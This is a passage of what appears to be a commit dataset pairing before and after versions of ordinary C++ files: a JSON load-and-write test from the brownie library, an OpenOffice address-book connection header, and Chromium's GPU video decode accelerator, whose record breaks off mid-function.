t_fileobject->ConvertLock();\r\n\t\t\t\tif(t_ret == NBsys::NFile::File_ConvertLock_ReturnType::Locked){\r\n\t\t\t\t\t\/\/未コンバート => コンバート中。\r\n\r\n\t\t\t\t\t\/\/コンバート中 => コンバート済み。\r\n\t\t\t\t\tt_fileobject->GetLoadData().get()[static_cast<s32>(t_fileobject->GetLoadSize())] = 0x00;\r\n\t\t\t\t\tt_fileobject->ConvertUnlock();\r\n\t\t\t\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}else if(t_ret == NBsys::NFile::File_ConvertLock_ReturnType::ConvertNow){\r\n\t\t\t\t\t\/\/コンバート中。\r\n\r\n\t\t\t\t\t\/\/ロックに成功していないのでアンロック不要。\r\n\t\t\t\t}else{\r\n\t\t\t\t\t\/\/コンバート済み。\r\n\r\n\t\t\t\t\t\/\/ロックに成功していないのでアンロック不要。\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t\/\/ＪＳＯＮ解析。\r\n\t\t\tsharedptr<JsonItem> t_json(new JsonItem(reinterpret_cast<char*>(t_fileobject->GetLoadData().get())));\r\n\r\n\t\t\t\/\/ＪＳＯＮ取得。\r\n\t\t\tif(t_json->GetValueType() == JsonItem::ValueType::AssociativeArray){\r\n\t\t\t\tif(t_json->IsExistItem(\"name1\") == true){\r\n\t\t\t\t\tSTLString t_value = *t_json->GetItem(\"name1\")->GetStringData();\r\n\t\t\t\t\tDEBUGLOG(\"name1 = %s\\n\",t_value.c_str());\r\n\t\t\t\t}\r\n\t\t\t\tif(t_json->IsExistItem(\"name2\") == true){\r\n\t\t\t\t\ts32 t_value = t_json->GetItem(\"name2\")->GetInteger();\r\n\t\t\t\t\tDEBUGLOG(\"name1 = %d\\n\",t_value);\r\n\t\t\t\t}\r\n\t\t\t\tif(t_json->IsExistItem(\"name3\") == true){\r\n\t\t\t\t\tf32 t_value = t_json->GetItem(\"name3\")->GetFloat();\r\n\t\t\t\t\tDEBUGLOG(\"name1 = %f\\n\",t_value);\r\n\t\t\t\t}\r\n\t\t\t\tif(t_json->IsExistItem(\"name4\") == true){\r\n\t\t\t\t\tbool t_value = t_json->GetItem(\"name4\")->GetBoolData();\r\n\t\t\t\t\tDEBUGLOG(\"name1 = %d\\n\",t_value?1:0);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t\/\/ＪＳＯＮ出力。\r\n\t\t\t{\r\n\t\t\t\tFileHandle t_filehandle;\r\n\t\t\t\tt_filehandle.WriteOpen(L\".\/project_test\/test2\/out.json\");\r\n\t\t\t\tSTLString t_jsonstring = t_json->ConvertJsonString();\r\n\t\t\t\tt_filehandle.Write(reinterpret_cast<const u8*>(t_jsonstring.c_str()),t_jsonstring.size(),0);\r\n\t\t\t\tt_filehandle.Close();\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t\/\/ファイル終了。\r\n\t\tNBsys::NFile::EndSystemRequest();\r\n\t\tNBsys::NFile::EndWaitSystem();\r\n\r\n\t\treturn;\r\n\t}\r\n\r\n\r\n}\r\n#endif\r\n\r\n<commit_msg>bug fix<commit_after>﻿\r\n\r\n\/**\r\n * Copyright (c) 2016-2017 blueback\r\n * Released under the MIT License\r\n * https:\/\/github.com\/bluebackblue\/brownie\/blob\/master\/LICENSE.txt\r\n * http:\/\/bbbproject.sakura.ne.jp\/wordpress\/mitlicense\r\n * @brief テスト。\r\n*\/\r\n\r\n\r\n\/** include\r\n*\/\r\n#pragma warning(push)\r\n#pragma warning(disable:4464)\r\n#include \"..\/entry.h\"\r\n#pragma warning(pop)\r\n\r\n\r\n\/** warning\r\n\r\n4710 : The given function was selected for inline expansion, but the compiler did not perform the inlining.\r\n\r\n*\/\r\n#pragma warning(disable:4710)\r\n\r\n\r\n\/** NTest\r\n*\/\r\n#if(DEF_TEST_INDEX == 2)\r\nnamespace NTest\r\n{\r\n\t\/** File_Allocator\r\n\t*\/\r\n\tclass File_Allocator : public NBsys::NFile::File_Allocator\r\n\t{\r\n\tpublic:\r\n\t\t\r\n\t\t\/** constructor\r\n\t\t*\/\r\n\t\tFile_Allocator()\r\n\t\t{\r\n\t\t}\r\n\r\n\t\t\/** destructor\r\n\t\t*\/\r\n\t\tvirtual ~File_Allocator()\r\n\t\t{\r\n\t\t}\r\n\r\n\tpublic:\r\n\r\n\t\t\/** Alloc\r\n\t\t*\/\r\n\t\tvirtual void* Alloc(u32 a_size)\r\n\t\t{\r\n\t\t\treturn ::malloc(a_size);\r\n\t\t}\r\n\r\n\t\t\/** Free\r\n\t\t*\/\r\n\t\tvirtual void Free(void* a_pointer)\r\n\t\t{\r\n\t\t\treturn ::free(a_pointer);\r\n\t\t}\r\n\r\n\t};\r\n\r\n\r\n\t\/** Test_Main\r\n\t*\/\r\n\tvoid Test_Main()\r\n\t{\r\n\t\t\/\/ファイル開始。\r\n\t\tNBsys::NFile::StartSystem(1);\r\n\t\tNBsys::NFile::SetRoot(0,L\".\/project_test\/test\" DEF_TEST_STRING);\r\n\r\n\t\t\/\/読み込み開始。\r\n\t\tsharedptr<NBsys::NFile::File_Object> t_fileobject(new NBsys::NFile::File_Object(0,L\"test2.json\",-1,new File_Allocator,1));\r\n\r\n\t\t\/\/読み込み中。\r\n\t\twhile(t_fileobject->IsBusy()){\r\n\t\t\tThreadSleep(10);\r\n\t\t}\r\n\r\n\t\tif(t_fileobject->GetErrorCode() != ErrorCode::Success){\r\n\t\t\tt_fileobject.reset();\r\n\t\t}\r\n\r\n\t\tif(t_fileobject){\r\n\r\n\t\t\t\/\/コンバート。\r\n\t\t\tfor(;;){\r\n\t\t\t\tNBsys::NFile::File_ConvertLock_ReturnType::Id t_ret = t_fileobject->ConvertLock();\r\n\t\t\t\tif(t_ret == NBsys::NFile::File_ConvertLock_ReturnType::Locked){\r\n\t\t\t\t\t\/\/未コンバート => コンバート中。\r\n\r\n\t\t\t\t\t\/\/コンバート中 => コンバート済み。\r\n\t\t\t\t\tt_fileobject->GetLoadData().get()[static_cast<s32>(t_fileobject->GetLoadSize())] = 0x00;\r\n\t\t\t\t\tt_fileobject->ConvertUnlock();\r\n\t\t\t\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}else if(t_ret == NBsys::NFile::File_ConvertLock_ReturnType::ConvertNow){\r\n\t\t\t\t\t\/\/コンバート中。\r\n\r\n\t\t\t\t\t\/\/ロックに成功していないのでアンロック不要。\r\n\t\t\t\t}else{\r\n\t\t\t\t\t\/\/コンバート済み。\r\n\r\n\t\t\t\t\t\/\/ロックに成功していないのでアンロック不要。\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t\/\/ＪＳＯＮ解析。\r\n\t\t\tsharedptr<JsonItem> t_json(new JsonItem(reinterpret_cast<char*>(t_fileobject->GetLoadData().get())));\r\n\r\n\t\t\t\/\/ＪＳＯＮ取得。\r\n\t\t\tif(t_json->GetValueType() == JsonItem::ValueType::AssociativeArray){\r\n\t\t\t\tif(t_json->IsExistItem(\"name1\") == true){\r\n\t\t\t\t\tSTLString t_value = *t_json->GetItem(\"name1\")->GetStringData();\r\n\t\t\t\t\tDEBUGLOG(\"name1 = %s\\n\",t_value.c_str());\r\n\t\t\t\t}\r\n\t\t\t\tif(t_json->IsExistItem(\"name2\") == true){\r\n\t\t\t\t\ts32 t_value = t_json->GetItem(\"name2\")->GetInteger();\r\n\t\t\t\t\tDEBUGLOG(\"name1 = %d\\n\",t_value);\r\n\t\t\t\t}\r\n\t\t\t\tif(t_json->IsExistItem(\"name3\") == true){\r\n\t\t\t\t\tf32 t_value = t_json->GetItem(\"name3\")->GetFloat();\r\n\t\t\t\t\tDEBUGLOG(\"name1 = %f\\n\",t_value);\r\n\t\t\t\t}\r\n\t\t\t\tif(t_json->IsExistItem(\"name4\") == true){\r\n\t\t\t\t\tbool t_value = t_json->GetItem(\"name4\")->GetBoolData();\r\n\t\t\t\t\tDEBUGLOG(\"name1 = %d\\n\",t_value?1:0);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t\/\/ＪＳＯＮ出力。\r\n\t\t\t{\r\n\t\t\t\tFileHandle t_filehandle;\r\n\t\t\t\tt_filehandle.WriteOpen(L\".\/project_test\/test2\/out.json\");\r\n\t\t\t\tSTLString t_jsonstring = t_json->ConvertJsonString();\r\n\t\t\t\tt_filehandle.Write(reinterpret_cast<const u8*>(t_jsonstring.c_str()),t_jsonstring.size(),0);\r\n\t\t\t\tt_filehandle.SetEOF(t_jsonstring.size());\r\n\t\t\t\tt_filehandle.Close();\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t\/\/ファイル終了。\r\n\t\tNBsys::NFile::EndSystemRequest();\r\n\t\tNBsys::NFile::EndWaitSystem();\r\n\r\n\t\treturn;\r\n\t}\r\n\r\n\r\n}\r\n#endif\r\n\r\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: MABConnection.hxx,v $\n *\n *  $Revision: 1.4 $\n *\n *  last change: $Author: dkenny $ $Date: 2001-05-31 07:22:01 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _CONNECTIVITY_MAB_CONNECTION_HXX_\n#define _CONNECTIVITY_MAB_CONNECTION_HXX_\n\n#ifndef _CONNECTIVITY_FILE_OCONNECTION_HXX_\n#include \"file\/FConnection.hxx\"\n#endif\n\nnamespace com { namespace sun { namespace star { namespace sheet {\n    class XSpreadsheetDocument;\n} } } }\n\n\nnamespace connectivity\n{\n    namespace mozaddressbook\n    {\n        class OMozabDriver;\n        class OMozabConnection : public file::OConnection\n        {\n\n            sal_Int32       m_nAnonABCount;\n            rtl::OUString   m_sMozillaURI;\n\n        public:\n            OMozabConnection(OMozabDriver* _pDriver);\n            virtual ~OMozabConnection();\n\n            virtual void construct(const ::rtl::OUString& _rUrl,\n                const ::com::sun::star::uno::Sequence< ::com::sun::star::beans::PropertyValue >& _rInfo )\n                throw( ::com::sun::star::sdbc::SQLException);\n\n            \/\/ XServiceInfo\n            DECLARE_SERVICE_INFO();\n\n            \/\/ OComponentHelper\n            virtual void SAL_CALL disposing(void);\n\n            \/\/ XConnection\n            virtual ::com::sun::star::uno::Reference< ::com::sun::star::sdbc::XDatabaseMetaData > SAL_CALL getMetaData(  ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n            virtual ::com::sun::star::uno::Reference< ::com::sun::star::sdbcx::XTablesSupplier > createCatalog();\n            virtual ::com::sun::star::uno::Reference< ::com::sun::star::sdbc::XStatement > SAL_CALL createStatement(  ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n            virtual ::com::sun::star::uno::Reference< ::com::sun::star::sdbc::XPreparedStatement > SAL_CALL prepareStatement( const ::rtl::OUString& sql ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n            virtual ::com::sun::star::uno::Reference< ::com::sun::star::sdbc::XPreparedStatement > SAL_CALL prepareCall( const ::rtl::OUString& sql ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n\n            \/\/ no interface methods\n            rtl::OUString getMozURI() const\n                { return m_sMozillaURI; }\n\n            sal_Int32 getNextAnonymousAB()\n                { return (++m_nAnonABCount); }\n        };\n    }\n}\n\n#endif \/\/ _CONNECTIVITY_MAB_CONNECTION_HXX_\n\n<commit_msg>#88665#<commit_after>\/*************************************************************************\n *\n *  $RCSfile: MABConnection.hxx,v $\n *\n *  $Revision: 1.5 $\n *\n *  last change: $Author: fs $ $Date: 2001-06-25 09:51:16 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _CONNECTIVITY_MAB_CONNECTION_HXX_\n#define _CONNECTIVITY_MAB_CONNECTION_HXX_\n\n#ifndef _CONNECTIVITY_FILE_OCONNECTION_HXX_\n#include \"file\/FConnection.hxx\"\n#endif\n\nnamespace com { namespace sun { namespace star { namespace sheet {\n    class XSpreadsheetDocument;\n} } } }\n\n\nnamespace connectivity\n{\n    namespace mozaddressbook\n    {\n        class OMozabDriver;\n        class OMozabConnection : public file::OConnection\n        {\n\n            sal_Int32       m_nAnonABCount;\n            rtl::OUString   m_sMozillaURI;\n            sal_Bool        m_UsesFactory ;\n            sal_Bool        m_IsLDAP ;\n\n        public:\n            OMozabConnection(OMozabDriver* _pDriver);\n            virtual ~OMozabConnection();\n\n            virtual void construct(const ::rtl::OUString& _rUrl,\n                const ::com::sun::star::uno::Sequence< ::com::sun::star::beans::PropertyValue >& _rInfo )\n                throw( ::com::sun::star::sdbc::SQLException);\n\n            \/\/ XServiceInfo\n            DECLARE_SERVICE_INFO();\n\n            \/\/ OComponentHelper\n            virtual void SAL_CALL disposing(void);\n\n            \/\/ XConnection\n            virtual ::com::sun::star::uno::Reference< ::com::sun::star::sdbc::XDatabaseMetaData > SAL_CALL getMetaData(  ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n            virtual ::com::sun::star::uno::Reference< ::com::sun::star::sdbcx::XTablesSupplier > createCatalog();\n            virtual ::com::sun::star::uno::Reference< ::com::sun::star::sdbc::XStatement > SAL_CALL createStatement(  ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n            virtual ::com::sun::star::uno::Reference< ::com::sun::star::sdbc::XPreparedStatement > SAL_CALL prepareStatement( const ::rtl::OUString& sql ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n            virtual ::com::sun::star::uno::Reference< ::com::sun::star::sdbc::XPreparedStatement > SAL_CALL prepareCall( const ::rtl::OUString& sql ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n\n            \/\/ no interface methods\n            rtl::OUString getMozURI() const\n                { return m_sMozillaURI; }\n\n            sal_Bool usesFactory(void) const { return m_UsesFactory ; }\n            sal_Bool isLDAP(void) const { return m_IsLDAP ; }\n\n            sal_Int32 getNextAnonymousAB()\n                { return (++m_nAnonABCount); }\n        };\n    }\n}\n\n#endif \/\/ _CONNECTIVITY_MAB_CONNECTION_HXX_\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"content\/common\/gpu\/media\/gpu_video_decode_accelerator.h\"\n\n#include <vector>\n\n#include \"base\/bind.h\"\n#include \"base\/logging.h\"\n#include \"base\/stl_util.h\"\n#include \"gpu\/command_buffer\/common\/command_buffer.h\"\n#include \"ipc\/ipc_message_macros.h\"\n#include \"ipc\/ipc_message_utils.h\"\n#include \"content\/common\/gpu\/gpu_channel.h\"\n#include \"content\/common\/gpu\/gpu_command_buffer_stub.h\"\n#include \"content\/common\/gpu\/gpu_messages.h\"\n#if defined(OS_CHROMEOS) && defined(ARCH_CPU_ARMEL)\n#include \"content\/common\/gpu\/media\/omx_video_decode_accelerator.h\"\n#include \"ui\/gfx\/gl\/gl_surface_egl.h\"\n#endif\n#include \"ui\/gfx\/size.h\"\n\nGpuVideoDecodeAccelerator::GpuVideoDecodeAccelerator(\n    IPC::Message::Sender* sender,\n    int32 host_route_id,\n    GpuCommandBufferStub* stub)\n    : sender_(sender),\n      init_done_msg_(NULL),\n      host_route_id_(host_route_id),\n      stub_(stub),\n      video_decode_accelerator_(NULL) {\n}\n\nGpuVideoDecodeAccelerator::~GpuVideoDecodeAccelerator() {\n  if (video_decode_accelerator_)\n    video_decode_accelerator_->Destroy();\n}\n\nbool GpuVideoDecodeAccelerator::OnMessageReceived(const IPC::Message& msg) {\n  bool handled = true;\n  IPC_BEGIN_MESSAGE_MAP(GpuVideoDecodeAccelerator, msg)\n    IPC_MESSAGE_HANDLER(AcceleratedVideoDecoderMsg_Decode, OnDecode)\n    IPC_MESSAGE_HANDLER(AcceleratedVideoDecoderMsg_AssignPictureBuffers,\n                        OnAssignPictureBuffers)\n    IPC_MESSAGE_HANDLER(AcceleratedVideoDecoderMsg_ReusePictureBuffer,\n                        OnReusePictureBuffer)\n    IPC_MESSAGE_HANDLER(AcceleratedVideoDecoderMsg_Flush, OnFlush)\n    IPC_MESSAGE_HANDLER(AcceleratedVideoDecoderMsg_Reset, OnReset)\n    IPC_MESSAGE_HANDLER(AcceleratedVideoDecoderMsg_Destroy, OnDestroy)\n    IPC_MESSAGE_UNHANDLED(handled = false)\n  IPC_END_MESSAGE_MAP()\n  return handled;\n}\n\nvoid GpuVideoDecodeAccelerator::ProvidePictureBuffers(\n    uint32 requested_num_of_buffers, const gfx::Size& dimensions) {\n  if (!Send(new AcceleratedVideoDecoderHostMsg_ProvidePictureBuffers(\n          host_route_id_, requested_num_of_buffers, dimensions))) {\n    LOG(ERROR) << \"Send(AcceleratedVideoDecoderHostMsg_ProvidePictureBuffers) \"\n               << \"failed\";\n  }\n}\n\nvoid GpuVideoDecodeAccelerator::DismissPictureBuffer(\n    int32 picture_buffer_id) {\n  \/\/ Notify client that picture buffer is now unused.\n  if (!Send(new AcceleratedVideoDecoderHostMsg_DismissPictureBuffer(\n          host_route_id_, picture_buffer_id))) {\n    LOG(ERROR) << \"Send(AcceleratedVideoDecoderHostMsg_DismissPictureBuffer) \"\n               << \"failed\";\n  }\n}\n\nvoid GpuVideoDecodeAccelerator::PictureReady(\n    const media::Picture& picture) {\n  if (!Send(new AcceleratedVideoDecoderHostMsg_PictureReady(\n          host_route_id_,\n          picture.picture_buffer_id(),\n          picture.bitstream_buffer_id()))) {\n    LOG(ERROR) << \"Send(AcceleratedVideoDecoderHostMsg_PictureReady) failed\";\n  }\n}\n\nvoid GpuVideoDecodeAccelerator::NotifyEndOfStream() {\n  Send(new AcceleratedVideoDecoderHostMsg_EndOfStream(host_route_id_));\n}\n\nvoid GpuVideoDecodeAccelerator::NotifyError(\n    media::VideoDecodeAccelerator::Error error) {\n  if (!Send(new AcceleratedVideoDecoderHostMsg_ErrorNotification(\n          host_route_id_, error))) {\n    LOG(ERROR) << \"Send(AcceleratedVideoDecoderHostMsg_ErrorNotification) \"\n               << \"failed\";\n  }\n}\n\nvoid GpuVideoDecodeAccelerator::Initialize(\n    const std::vector<int32>& configs,\n    IPC::Message* init_done_msg) {\n  DCHECK(!video_decode_accelerator_.get());\n  DCHECK(!init_done_msg_);\n  DCHECK(init_done_msg);\n#if defined(OS_CHROMEOS) && defined(ARCH_CPU_ARMEL)\n  DCHECK(stub_ && stub_->scheduler());\n  init_done_msg_ = init_done_msg;\n  OmxVideoDecodeAccelerator* omx_decoder = new OmxVideoDecodeAccelerator(this);\n  omx_decoder->SetEglState(\n      gfx::GLSurfaceEGL::GetHardwareDisplay(),\n      stub_->scheduler()->decoder()->GetGLContext()->GetHandle());\n  video_decode_accelerator_ = omx_decoder;\n  video_decode_accelerator_->Initialize(configs);\n#else\n  NOTIMPLEMENTED() << \"HW video decode acceleration not available.\";\n#endif  \/\/ defined(OS_CHROMEOS) && defined(ARCH_CPU_ARMEL)\n}\n\nvoid GpuVideoDecodeAccelerator::OnDecode(\n    base::SharedMemoryHandle handle, int32 id, int32 size) {\n  DCHECK(video_decode_accelerator_.get());\n  video_decode_accelerator_->Decode(media::BitstreamBuffer(id, handle, size));\n}\n\nvoid GpuVideoDecodeAccelerator::OnAssignPictureBuffers(\n      const std::vector<int32>& buffer_ids,\n      const std::vector<uint32>& texture_ids,\n      const std::vector<gfx::Size>& sizes) {\n  DCHECK(stub_ && stub_->scheduler());  \/\/ Ensure already Initialize()'d.\n  gpu::gles2::GLES2Decoder* command_decoder = stub_->scheduler()->decoder();\n\n  std::vector<media::PictureBuffer> buffers;\n  for (uint32 i = 0; i < buffer_ids.size(); ++i) {\n    uint32 service_texture_id;\n    if (!command_decoder->GetServiceTextureId(\n            texture_ids[i], &service_texture_id)) {\n      \/\/ TODO(vrk): Send an error for invalid GLES buffers.\n      LOG(DFATAL) << \"Failed to translate texture!\";\n      return;\n    }\n    buffers.push_back(media::PictureBuffer(\n        buffer_ids[i], sizes[i], service_texture_id));\n  }\n  video_decode_accelerator_->AssignPictureBuffers(buffers);\n}\n\nvoid GpuVideoDecodeAccelerator::OnReusePictureBuffer(\n    int32 picture_buffer_id) {\n  DCHECK(video_decode_accelerator_.get());\n  video_decode_accelerator_->ReusePictureBuffer(picture_buffer_id);\n}\n\nvoid GpuVideoDecodeAccelerator::OnFlush() {\n  DCHECK(video_decode_accelerator_.get());\n  video_decode_accelerator_->Flush();\n}\n\nvoid GpuVideoDecodeAccelerator::OnReset() {\n  DCHECK(video_decode_accelerator_.get());\n  video_decode_accelerator_->Reset();\n}\n\nvoid GpuVideoDecodeAccelerator::OnDestroy() {\n  DCHECK(video_decode_accelerator_.get());\n  video_decode_accelerator_->Destroy();\n}\n\nvoid GpuVideoDecodeAccelerator::NotifyEndOfBitstreamBuffer(\n    int32 bitstream_buffer_id) {\n  if (!Send(new AcceleratedVideoDecoderHostMsg_BitstreamBufferProcessed(\n          host_route_id_, bitstream_buffer_id))) {\n    DLOG(ERROR)\n        << \"Send(AcceleratedVideoDecoderHostMsg_BitstreamBufferProcessed) \"\n        << \"failed\";\n  }\n}\n\nvoid GpuVideoDecodeAccelerator::NotifyInitializeDone() {\n  if (!Send(init_done_msg_))\n    LOG(ERROR) << \"Send(init_done_msg_) failed\";\n  init_done_msg_ = NULL;\n}\n\nvoid GpuVideoDecodeAccelerator::NotifyFlushDone() {\n  if (!Send(new AcceleratedVideoDecoderHostMsg_FlushDone(host_route_id_)))\n    LOG(ERROR) << \"Send(AcceleratedVideoDecoderHostMsg_FlushDone) failed\";\n}\n\nvoid GpuVideoDecodeAccelerator::NotifyResetDone() {\n  if (!Send(new AcceleratedVideoDecoderHostMsg_ResetDone(host_route_id_)))\n    LOG(ERROR) << \"Send(AcceleratedVideoDecoderHostMsg_ResetDone) failed\";\n}\n\nbool GpuVideoDecodeAccelerator::Send(IPC::Message* message) {\n  DCHECK(sender_);\n  return sender_->Send(message);\n}\n<commit_msg>Send error reply to GpuVideoDecodeAccelerator::Initialize when not available<commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"content\/common\/gpu\/media\/gpu_video_decode_accelerator.h\"\n\n#include <vector>\n\n#include \"base\/bind.h\"\n#include \"base\/logging.h\"\n#include \"base\/stl_util.h\"\n#include \"gpu\/command_buffer\/common\/command_buffer.h\"\n#include \"ipc\/ipc_message_macros.h\"\n#include \"ipc\/ipc_message_utils.h\"\n#include \"content\/common\/gpu\/gpu_channel.h\"\n#include \"content\/common\/gpu\/gpu_command_buffer_stub.h\"\n#include \"content\/common\/gpu\/gpu_messages.h\"\n#if defined(OS_CHROMEOS) && defined(ARCH_CPU_ARMEL)\n#include \"content\/common\/gpu\/media\/omx_video_decode_accelerator.h\"\n#include \"ui\/gfx\/gl\/gl_surface_egl.h\"\n#endif\n#include \"ui\/gfx\/size.h\"\n\nGpuVideoDecodeAccelerator::GpuVideoDecodeAccelerator(\n    IPC::Message::Sender* sender,\n    int32 host_route_id,\n    GpuCommandBufferStub* stub)\n    : sender_(sender),\n      init_done_msg_(NULL),\n      host_route_id_(host_route_id),\n      stub_(stub),\n      video_decode_accelerator_(NULL) {\n}\n\nGpuVideoDecodeAccelerator::~GpuVideoDecodeAccelerator() {\n  if (video_decode_accelerator_)\n    video_decode_accelerator_->Destroy();\n}\n\nbool GpuVideoDecodeAccelerator::OnMessageReceived(const IPC::Message& msg) {\n  bool handled = true;\n  IPC_BEGIN_MESSAGE_MAP(GpuVideoDecodeAccelerator, msg)\n    IPC_MESSAGE_HANDLER(AcceleratedVideoDecoderMsg_Decode, OnDecode)\n    IPC_MESSAGE_HANDLER(AcceleratedVideoDecoderMsg_AssignPictureBuffers,\n                        OnAssignPictureBuffers)\n    IPC_MESSAGE_HANDLER(AcceleratedVideoDecoderMsg_ReusePictureBuffer,\n                        OnReusePictureBuffer)\n    IPC_MESSAGE_HANDLER(AcceleratedVideoDecoderMsg_Flush, OnFlush)\n    IPC_MESSAGE_HANDLER(AcceleratedVideoDecoderMsg_Reset, OnReset)\n    IPC_MESSAGE_HANDLER(AcceleratedVideoDecoderMsg_Destroy, OnDestroy)\n    IPC_MESSAGE_UNHANDLED(handled = false)\n  IPC_END_MESSAGE_MAP()\n  return handled;\n}\n\nvoid GpuVideoDecodeAccelerator::ProvidePictureBuffers(\n    uint32 requested_num_of_buffers, const gfx::Size& dimensions) {\n  if (!Send(new AcceleratedVideoDecoderHostMsg_ProvidePictureBuffers(\n          host_route_id_, requested_num_of_buffers, dimensions))) {\n    LOG(ERROR) << \"Send(AcceleratedVideoDecoderHostMsg_ProvidePictureBuffers) \"\n               << \"failed\";\n  }\n}\n\nvoid GpuVideoDecodeAccelerator::DismissPictureBuffer(\n    int32 picture_buffer_id) {\n  \/\/ Notify client that picture buffer is now unused.\n  if (!Send(new AcceleratedVideoDecoderHostMsg_DismissPictureBuffer(\n          host_route_id_, picture_buffer_id))) {\n    LOG(ERROR) << \"Send(AcceleratedVideoDecoderHostMsg_DismissPictureBuffer) \"\n               << \"failed\";\n  }\n}\n\nvoid GpuVideoDecodeAccelerator::PictureReady(\n    const media::Picture& picture) {\n  if (!Send(new AcceleratedVideoDecoderHostMsg_PictureReady(\n          host_route_id_,\n          picture.picture_buffer_id(),\n          picture.bitstream_buffer_id()))) {\n    LOG(ERROR) << \"Send(AcceleratedVideoDecoderHostMsg_PictureReady) failed\";\n  }\n}\n\nvoid GpuVideoDecodeAccelerator::NotifyEndOfStream() {\n  Send(new AcceleratedVideoDecoderHostMsg_EndOfStream(host_route_id_));\n}\n\nvoid GpuVideoDecodeAccelerator::NotifyError(\n    media::VideoDecodeAccelerator::Error error) {\n  if (init_done_msg_) {\n    \/\/ If we get an error while we're initializing, NotifyInitializeDone won't\n    \/\/ be called, so we need to send the reply (with an error) here.\n    init_done_msg_->set_reply_error();\n    Send(init_done_msg_);\n    init_done_msg_ = NULL;\n 